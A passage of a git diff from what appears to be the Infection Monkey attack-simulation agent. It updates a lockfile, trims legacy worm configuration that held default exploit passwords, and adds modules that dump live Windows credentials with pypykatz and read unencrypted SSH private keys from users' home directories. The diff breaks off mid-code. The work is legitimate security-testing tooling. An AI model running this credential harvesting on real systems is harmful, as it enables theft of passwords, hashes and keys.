"index": "pypi", "version": "==2.27.1" }, - "s3transfer": { - "hashes": [ - "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c", - "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803" - ], - "markers": "python_version >= '3.6'", - "version": "==0.5.0" - }, - "scoutsuite": { - "git": "git://github.com/guardicode/ScoutSuite", - "ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003" - }, "service-identity": { "hashes": [ "sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34", @@ -997,14 +761,6 @@ ], "version": "==21.1.0" }, - "setuptools": { - "hashes": [ - "sha256:2404879cda71495fc4d5cbc445ed52fdaddf352b36e40be8dcc63147cb4edabe", - "sha256:68eb94073fc486091447fcb0501efd6560a0e5a1839ba249e5ff3c4c93f05f90" - ], - "markers": "python_version >= '3.7'", - "version": "==60.5.0" - }, "six": { "hashes": [ "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", @@ -1013,38 +769,24 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", "version": "==1.16.0" }, - "sqlitedict": { - "hashes": [ - "sha256:2affcc301aacd4da7511692601ecbde392294205af418498f7d6d3ec0dbcad56" - ], - "version": "==1.7.0" - }, - "tempora": { - "hashes": [ - "sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af", - "sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26" - ], - "markers": "python_version >= '3.7'", - "version": "==5.0.0" - }, "tqdm": { "hashes": [ - "sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c", - "sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d" + "sha256:40be55d30e200777a307a7585aee69e4eabb46b4ec6a4b4a5f2d9f11e7d5408d", + "sha256:74a2cdefe14d11442cedf3ba4e21a3b84ff9a2dbdc6cfae2c34addb2a14a5ea6" ], "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==4.62.3" + "version": "==4.64.0" }, "twisted": { "extras": [ "tls" ], "hashes": [ - "sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b", - "sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006" + "sha256:57f32b1f6838facb8c004c89467840367ad38e9e535f8252091345dba500b4f2", + "sha256:5c63c149eb6b8fe1e32a0215b1cef96fabdba04f705d8efb9174b1ccf5b49d49" ], "markers": "python_full_version >= '3.6.7'", - "version": "==21.7.0" + "version": "==22.2.0" }, "twisted-iocpsupport": { "hashes": [ @@ -1066,11 +808,19 @@ }, "typing-extensions": { "hashes": [ - "sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e", - "sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b" + "sha256:1a9462dcc3347a79b1f1c0271fbe79e844580bb598bafa1ed208b94da3cdcd42", + "sha256:21c85e0fe4b9a155d0799430b0ad741cdce7e359660ccbd8b530613e8df88ce2" ], "index": "pypi", - "version": "==4.0.1" + "version": "==4.1.1" + }, + "unicrypto": { + "hashes": [ + "sha256:69240f260493346861e639697e2fda245f14656c7df20ae6d9e6b1bb36acb29e", + "sha256:822bbf18ca6bc17f98c3029470bd8898e51fcb6a7716f6b1c95ed0bf9e0e4da5" + ], + "markers": "python_version >= '3.6'", + "version": "==0.0.5" }, "urllib3": { "hashes": [ @@ -1089,11 +839,11 @@ }, "werkzeug": { "hashes": [ - "sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f", - "sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a" + "sha256:3c5493ece8268fecdcdc9c0b112211acd006354723b280d643ec732b6d4063d6", + "sha256:f8e89a20aeabbe8a893c24a461d3ee5dad2123b05cc6abd73ceed01d39c3ae74" ], - "markers": "python_version >= '3.6'", - "version": "==2.0.2" + "markers": "python_version >= '3.7'", + "version": "==2.1.1" }, "winacl": { "hashes": [ @@ -1108,7 +858,7 @@ "sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1", "sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2" ], - "markers": "python_version >= '3.6'", + "markers": "platform_system == 'Windows'", "version": "==0.0.9" }, "winsys-3.x": { @@ -1127,20 +877,13 @@ "markers": "sys_platform == 'win32'", "version": "==1.5.1" }, - "zc.lockfile": { - "hashes": [ - "sha256:307ad78227e48be260e64896ec8886edc7eae22d8ec53e4d528ab5537a83203b", - "sha256:cc33599b549f0c8a248cb72f3bf32d77712de1ff7ee8814312eb6456b42c015f" - ], - "version": "==2.0" - }, "zipp": { "hashes": [ - "sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d", - "sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375" + "sha256:56bf8aadb83c24db6c4b577e13de374ccfb67da2078beba1d037c17980bf43ad", + "sha256:c4f6e5bbf48e74f7a38e7cc5b0480ff42b0ae5178957d564d18932525d5cf099" ], "markers": "python_version >= '3.7'", - "version": "==3.7.0" + "version": "==3.8.0" }, "zope.interface": { "hashes": [ @@ -1201,13 +944,6 @@ } }, "develop": { - "future": { - "hashes": [ - "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" - ], - "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==0.18.2" - }, "ldap3": { "hashes": [ "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", @@ -1218,13 +954,6 @@ ], "version": "==2.9.1" }, - "pefile": { - "hashes": [ - "sha256:344a49e40a94e10849f0fe34dddc80f773a12b40675bf2f7be4b8be578bdd94a" - ], - "markers": "python_version >= '3.6'", - "version": "==2021.9.3" - }, "pyasn1": { "hashes": [ "sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359", @@ -1242,13 +971,6 @@ "sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3" ], "version": "==0.4.8" - }, - "pywin32-ctypes": { - "hashes": [ - "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", - "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" - ], - "version": "==0.2.0" } } } diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8f4984ba6..1f8c46311 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,9 +1,7 @@ -import hashlib import os import sys import uuid from abc import ABCMeta -from itertools import product GUID = str(uuid.getnode()) @@ -28,9 +26,6 @@ class Configuration(object): continue if key in LOCAL_CONFIG_VARS: continue - if self._depth_from_commandline and key == "depth": - self.max_depth = value - continue if hasattr(self, key): setattr(self, key, value) else: @@ -70,18 +65,6 @@ class Configuration(object): return result - # Used to keep track of our depth if manually specified - _depth_from_commandline = False - - ########################### - # logging config - ########################### - - dropper_log_path_windows = "%temp%\\~df1562.tmp" - dropper_log_path_linux = "/tmp/user-1562" - monkey_log_path_windows = "%temp%\\~df1563.tmp" - monkey_log_path_linux = "/tmp/user-1563" - ########################### # dropper config ########################### @@ -89,151 +72,27 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = "/bin/sh" - dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" - dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = "/tmp/monkey" ########################### # monkey config ########################### # sets whether or not the monkey is alive. if false will stop scanning and exploiting - alive = True - - finger_classes = [] - exploiter_classes = [] - system_info_collector_classes = [] - - # how many victims to look for in a single scan iteration - victims_max_find = 100 - - # how many victims to exploit before stopping - victims_max_exploit = 100 + should_stop = False # depth of propagation depth = 2 max_depth = None - started_on_island = False current_server = "" # Configuration servers to try to connect to, in this order. - command_servers = ["192.0.2.0:5000"] + command_servers = [] - keep_tunnel_open_time = 60 - - ########################### - # scanners config - ########################### - - # Auto detect and scan local subnets - local_network_scan = True - - subnet_scan_list = [] - inaccessible_subnets = [] - - blocked_ips = [] - - # TCP Scanner - HTTP_PORTS = [ - 80, - 8080, - 443, - 8008, # HTTP alternate - 7001, # Oracle Weblogic default server port - ] - tcp_target_ports = [22, 2222, 445, 135, 3389, 80, 8080, 443, 8008, 3306, 9200] - tcp_target_ports.extend(HTTP_PORTS) - tcp_scan_timeout = 3000 # 3000 Milliseconds - tcp_scan_interval = 0 # in milliseconds - tcp_scan_get_banner = True - - # Ping Scanner - ping_scan_timeout = 1000 - - ########################### - # exploiters config - ########################### - - skip_exploit_if_file_exist = False - - ms08_067_exploit_attempts = 5 - user_to_add = "Monkey_IUSER_SUPPORT" - - ########################### - # ransomware config - ########################### - - ransomware = "" - - def get_exploit_user_password_pairs(self): - """ - Returns all combinations of the configurations users and passwords - :return: - """ - return product(self.exploit_user_list, self.exploit_password_list) - - def get_exploit_user_ssh_key_pairs(self): - """ - :return: All combinations of the configurations users and ssh pairs - """ - return product(self.exploit_user_list, self.exploit_ssh_keys) - - def get_exploit_user_password_or_hash_product(self): - """ - Returns all combinations of the configurations users and passwords or lm/ntlm hashes - :return: - """ - cred_list = [] - for cred in product(self.exploit_user_list, self.exploit_password_list, [""], [""]): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], [""], self.exploit_ntlm_hash_list): - cred_list.append(cred) - for cred in product(self.exploit_user_list, [""], self.exploit_lm_hash_list, [""]): - cred_list.append(cred) - return cred_list - - @staticmethod - def hash_sensitive_data(sensitive_data): - """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data - plain-text, as the log is - saved on client machines plain-text. - - :param sensitive_data: the data to hash. - :return: the hashed data. - """ - password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() - return password_hashed - - exploit_user_list = ["Administrator", "root", "user"] - exploit_password_list = ["Password1!", "1234", "password", "12345678"] - exploit_lm_hash_list = [] - exploit_ntlm_hash_list = [] - exploit_ssh_keys = [] - - aws_access_key_id = "" - aws_secret_access_key = "" - aws_session_token = "" - - # smb/wmi exploiter - smb_download_timeout = 300 # timeout in seconds - smb_service_name = "InfectionMonkey" - - ########################### - # post breach actions - ########################### - post_breach_actions = [] - custom_PBA_linux_cmd = "" - custom_PBA_windows_cmd = "" - PBA_linux_filename = None - PBA_windows_filename = None + keep_tunnel_open_time = 30 ########################### # testing configuration ########################### export_monkey_telems = False - def get_hop_distance_to_island(self): - return self.max_depth - self.depth - WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 367433cb6..52b8e0db8 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -1,33 +1,24 @@ import json import logging import platform -from datetime import datetime from pprint import pformat from socket import gethostname -from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError -import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel -from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH -from common.common_consts.time_formats import DEFAULT_TIME_FORMAT -from common.common_consts.timeouts import ( - LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT, - SHORT_REQUEST_TIMEOUT, -) +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration -from infection_monkey.network.info import local_ips +from infection_monkey.network.info import get_host_subnets, local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy +from infection_monkey.utils import agent_process from infection_monkey.utils.environment import is_windows_os requests.packages.urllib3.disable_warnings() logger = logging.getLogger(__name__) -DOWNLOAD_CHUNK = 1024 PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" @@ -53,10 +44,11 @@ class ControlClient(object): "guid": GUID, "hostname": hostname, "ip_addresses": local_ips(), + "networks": get_host_subnets(), "description": " ".join(platform.uname()), "config": WormConfiguration.as_dict(), "parent": parent, - "launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)), + "launch_time": agent_process.get_start_time(), } if ControlClient.proxies: @@ -138,28 +130,6 @@ class ControlClient(object): else: ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}" - @staticmethod - def keepalive(): - if not WormConfiguration.current_server: - return - try: - monkey = {} - if ControlClient.proxies: - monkey["tunnel"] = ControlClient.proxies.get("https") - requests.patch( # noqa: DUO123 - "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), - data=json.dumps(monkey), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - return {} - @staticmethod def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: @@ -208,7 +178,7 @@ class ControlClient(object): return try: reply = requests.get( # noqa: DUO123 - "https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), + "https://%s/api/monkey/%s/legacy" % (WormConfiguration.current_server, GUID), verify=False, proxies=ControlClient.proxies, timeout=MEDIUM_REQUEST_TIMEOUT, @@ -258,108 +228,6 @@ class ControlClient(object): ) return {} - @staticmethod - def check_for_stop(): - ControlClient.load_control_config() - return not WormConfiguration.alive - - @staticmethod - def download_monkey_exe(host): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - - @staticmethod - def download_monkey_exe_by_os(is_windows, is_32bit): - filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit) - ) - if filename is None: - return None - return ControlClient.download_monkey_exe_by_filename(filename, size) - - @staticmethod - def spoof_host_os_info(is_windows, is_32bit): - if is_windows: - os = "windows" - if is_32bit: - arch = "x86" - else: - arch = "amd64" - else: - os = "linux" - if is_32bit: - arch = "i686" - else: - arch = "x86_64" - - return {"os": {"type": os, "machine": arch}} - - @staticmethod - def download_monkey_exe_by_filename(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file - else: - download = requests.get( # noqa: DUO123 - "https://%s/api/monkey/download/%s" - % (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - - with monkeyfs.open(dest_file, "wb") as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host(host): - return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict()) - - @staticmethod - def get_monkey_exe_filename_and_size_by_host_dict(host_dict): - if not WormConfiguration.current_server: - return None, None - try: - reply = requests.post( # noqa: DUO123 - "https://%s/api/monkey/download" % (WormConfiguration.current_server,), - data=json.dumps(host_dict), - headers={"content-type": "application/json"}, - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT, - ) - if 200 == reply.status_code: - result_json = reply.json() - filename = result_json.get("filename") - if not filename: - return None, None - size = result_json.get("size") - return filename, size - else: - return None, None - - except Exception as exc: - logger.warning( - "Error connecting to control server %s: %s", WormConfiguration.current_server, exc - ) - - return None, None - @staticmethod def create_control_tunnel(): if not WormConfiguration.current_server: @@ -377,7 +245,12 @@ class ControlClient(object): proxy_class = HTTPConnectProxy target_addr, target_port = None, None - return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + return tunnel.MonkeyTunnel( + proxy_class, + keep_tunnel_open_time=WormConfiguration.keep_tunnel_open_time, + target_addr=target_addr, + target_port=target_port, + ) @staticmethod def get_pba_file(filename): @@ -390,55 +263,3 @@ class ControlClient(object): ) except requests.exceptions.RequestException: return False - - @staticmethod - def get_T1216_pba_file(): - try: - return requests.get( # noqa: DUO123 - urljoin( - f"https://{WormConfiguration.current_server}/", - T1216_PBA_FILE_DOWNLOAD_PATH, - ), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) - except requests.exceptions.RequestException: - return False - - @staticmethod - def should_monkey_run(vulnerable_port: str) -> bool: - if ( - vulnerable_port - and WormConfiguration.get_hop_distance_to_island() > 1 - and ControlClient.can_island_see_port(vulnerable_port) - and WormConfiguration.started_on_island - ): - return False - - return True - - @staticmethod - def can_island_see_port(port): - try: - url = ( - f"https://{WormConfiguration.current_server}/api/monkey_control" - f"/check_remote_port/{port}" - ) - response = requests.get( # noqa: DUO123 - url, verify=False, timeout=SHORT_REQUEST_TIMEOUT - ) - response = json.loads(response.content.decode()) - return response["status"] == "port_visible" - except requests.exceptions.RequestException: - return False - - @staticmethod - def report_start_on_island(): - requests.post( # noqa: DUO123 - f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({"started_on_island": True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT, - ) diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py new file mode 100644 index 000000000..1f259949d --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -0,0 +1,7 @@ +from .credential_components.nt_hash import NTHash +from .credential_components.lm_hash import LMHash +from .credential_components.password import Password +from .credential_components.username import Username +from .credential_components.ssh_keypair import SSHKeypair +from .mimikatz_collector import MimikatzCredentialCollector +from .ssh_collector import SSHCredentialCollector diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/__init__.py b/monkey/infection_monkey/credential_collectors/credential_components/__init__.py similarity index 100% rename from monkey/infection_monkey/system_info/windows_cred_collector/__init__.py rename to monkey/infection_monkey/credential_collectors/credential_components/__init__.py diff --git a/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py new file mode 100644 index 000000000..5e89891ec --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/lm_hash.py @@ -0,0 +1,12 @@ +from dataclasses import dataclass, field + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_puppet import ICredentialComponent + + +@dataclass(frozen=True) +class LMHash(ICredentialComponent): + credential_type: CredentialComponentType = field( + default=CredentialComponentType.LM_HASH, init=False + ) + lm_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py new file mode 100644 index 000000000..7e2328699 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hash.py @@ -0,0 +1,12 @@ +from dataclasses import dataclass, field + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_puppet import ICredentialComponent + + +@dataclass(frozen=True) +class NTHash(ICredentialComponent): + credential_type: CredentialComponentType = field( + default=CredentialComponentType.NT_HASH, init=False + ) + nt_hash: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py new file mode 100644 index 000000000..3601511af --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -0,0 +1,12 @@ +from dataclasses import dataclass, field + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_puppet import ICredentialComponent + + +@dataclass(frozen=True) +class Password(ICredentialComponent): + credential_type: CredentialComponentType = field( + default=CredentialComponentType.PASSWORD, init=False + ) + password: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py new file mode 100644 index 000000000..16b943ea6 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -0,0 +1,13 @@ +from dataclasses import dataclass, field + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_puppet import ICredentialComponent + + +@dataclass(frozen=True) +class SSHKeypair(ICredentialComponent): + credential_type: CredentialComponentType = field( + default=CredentialComponentType.SSH_KEYPAIR, init=False + ) + private_key: str + public_key: str diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py new file mode 100644 index 000000000..e7d55aa6f --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -0,0 +1,12 @@ +from dataclasses import dataclass, field + +from common.common_consts.credential_component_type import CredentialComponentType +from infection_monkey.i_puppet import ICredentialComponent + + +@dataclass(frozen=True) +class Username(ICredentialComponent): + credential_type: CredentialComponentType = field( + default=CredentialComponentType.USERNAME, init=False + ) + username: str diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py new file mode 100644 index 000000000..c6a8f1a91 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/__init__.py @@ -0,0 +1 @@ +from .mimikatz_credential_collector import MimikatzCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py new file mode 100644 index 000000000..1b772580d --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/mimikatz_credential_collector.py @@ -0,0 +1,44 @@ +import logging +from typing import Sequence + +from infection_monkey.credential_collectors import LMHash, NTHash, Password, Username +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector + +from . import pypykatz_handler +from .windows_credentials import WindowsCredentials + +logger = logging.getLogger(__name__) + + +class MimikatzCredentialCollector(ICredentialCollector): + def collect_credentials(self, options=None) -> Sequence[Credentials]: + logger.info("Attempting to collect windows credentials with pypykatz.") + creds = pypykatz_handler.get_windows_creds() + logger.info(f"Pypykatz gathered {len(creds)} credentials.") + return MimikatzCredentialCollector._to_credentials(creds) + + @staticmethod + def _to_credentials(win_creds: Sequence[WindowsCredentials]) -> [Credentials]: + all_creds = [] + for win_cred in win_creds: + identities = [] + secrets = [] + if win_cred.username: + identity = Username(win_cred.username) + identities.append(identity) + + if win_cred.password: + password = Password(win_cred.password) + secrets.append(password) + + if win_cred.lm_hash: + lm_hash = LMHash(lm_hash=win_cred.lm_hash) + secrets.append(lm_hash) + + if win_cred.ntlm_hash: + lm_hash = NTHash(nt_hash=win_cred.ntlm_hash) + secrets.append(lm_hash) + + if identities != [] or secrets != []: + all_creds.append(Credentials(identities, secrets)) + return all_creds diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py similarity index 83% rename from monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py index 23bcce771..dac0334e0 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/credential_collectors/mimikatz_collector/pypykatz_handler.py @@ -1,11 +1,14 @@ import binascii +import logging from typing import Any, Dict, List, NewType from pypykatz.pypykatz import pypykatz -from infection_monkey.system_info.windows_cred_collector.windows_credentials import ( - WindowsCredentials, -) +from infection_monkey.utils.environment import is_windows_os + +from .windows_credentials import WindowsCredentials + +logger = logging.getLogger(__name__) CREDENTIAL_TYPES = [ "msv_creds", @@ -21,7 +24,16 @@ PypykatzCredential = NewType("PypykatzCredential", Dict) def get_windows_creds() -> List[WindowsCredentials]: - pypy_handle = pypykatz.go_live() + # TODO: Remove this check when this is turned into a plugin. + if not is_windows_os(): + logger.debug("Skipping pypykatz because the operating system is not Windows") + return [] + + try: + pypy_handle = pypykatz.go_live() + except Exception as err: + logger.info(f"Credential gathering with pypykatz failed: {err}") + return [] logon_data = pypy_handle.to_dict() windows_creds = _parse_pypykatz_results(logon_data) return windows_creds diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/windows_credentials.py b/monkey/infection_monkey/credential_collectors/mimikatz_collector/windows_credentials.py similarity index 100% rename from monkey/infection_monkey/system_info/windows_cred_collector/windows_credentials.py rename to monkey/infection_monkey/credential_collectors/mimikatz_collector/windows_credentials.py diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py new file mode 100644 index 000000000..d89d836f8 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/__init__.py @@ -0,0 +1 @@ +from .ssh_credential_collector import SSHCredentialCollector diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py new file mode 100644 index 000000000..69afd68f6 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_credential_collector.py @@ -0,0 +1,53 @@ +import logging +from typing import Dict, Iterable, Sequence + +from infection_monkey.credential_collectors import SSHKeypair, Username +from infection_monkey.credential_collectors.ssh_collector import ssh_handler +from infection_monkey.i_puppet.credential_collection import Credentials, ICredentialCollector +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +logger = logging.getLogger(__name__) + + +class SSHCredentialCollector(ICredentialCollector): + """ + SSH keys credential collector + """ + + def __init__(self, telemetry_messenger: ITelemetryMessenger): + self._telemetry_messenger = telemetry_messenger + + def collect_credentials(self, _options=None) -> Sequence[Credentials]: + logger.info("Started scanning for SSH credentials") + ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger) + logger.info("Finished scanning for SSH credentials") + + return SSHCredentialCollector._to_credentials(ssh_info) + + @staticmethod + def _to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]: + ssh_credentials = [] + + for info in ssh_info: + identities = [] + secrets = [] + + if info.get("name", ""): + identities.append(Username(info["name"])) + + ssh_keypair = {} + for key in ["public_key", "private_key"]: + if info.get(key) is not None: + ssh_keypair[key] = info[key] + + if len(ssh_keypair): + secrets.append( + SSHKeypair( + ssh_keypair.get("private_key", ""), ssh_keypair.get("public_key", "") + ) + ) + + if identities != [] or secrets != []: + ssh_credentials.append(Credentials(identities, secrets)) + + return ssh_credentials diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py new file mode 100644 index 000000000..98ca0df4a --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -0,0 +1,116 @@ +import glob +import logging +import os +from typing import Dict, Iterable + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1145_telem import T1145Telem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.environment import is_windows_os + +logger = logging.getLogger(__name__) + +DEFAULT_DIRS = ["/.ssh/", "/"] + + +def get_ssh_info(telemetry_messenger: ITelemetryMessenger) -> Iterable[Dict]: + # TODO: Remove this check when this is turned into a plugin. + if is_windows_os(): + logger.debug( + "Skipping SSH credentials collection because the operating system is not Linux" + ) + return [] + + home_dirs = _get_home_dirs() + ssh_info = _get_ssh_files(home_dirs, telemetry_messenger) + + return ssh_info + + +def _get_home_dirs() -> Iterable[Dict]: + import pwd + + root_dir = _get_ssh_struct("root", "") + home_dirs = [ + _get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() if x.pw_dir.startswith("/home") + ] + home_dirs.append(root_dir) + return home_dirs + + +def _get_ssh_struct(name: str, home_dir: str) -> Dict: + """ + Construct the SSH info. It consisted of: name, home_dir, + public_key and private_key. + + public_key: contents of *.pub file (public key) + private_key: contents of * file (private key) + + :param name: username of user, for whom the keys belong + :param home_dir: users home directory + :return: SSH info struct + """ + # TODO: There may be multiple public keys for a single user + # TODO: Authorized keys are missing. + return { + "name": name, + "home_dir": home_dir, + "public_key": None, + "private_key": None, + } + + +def _get_ssh_files( + usr_info: Iterable[Dict], telemetry_messenger: ITelemetryMessenger +) -> Iterable[Dict]: + for info in usr_info: + path = info["home_dir"] + for directory in DEFAULT_DIRS: + # TODO: Use PATH + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, "*.pub")): + # TODO: There may be multiple public keys for a single user + # Getting first file in current path with .pub extension(public key) + public = glob.glob(os.path.join(current_path, "*.pub"))[0] + logger.info("Found public key in %s" % public) + try: + with open(public) as f: + info["public_key"] = f.read() + # By default, private key has the same name as public, + # only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find("ENCRYPTED") == -1: + info["private_key"] = private_key + logger.info("Found private key in %s" % private) + telemetry_messenger.send_telemetry( + T1005Telem( + ScanStatus.USED, "SSH key", "Path: %s" % private + ) + ) + telemetry_messenger.send_telemetry( + T1145Telem( + ScanStatus.USED, info["name"], info["home_dir"] + ) + ) + else: + continue + except 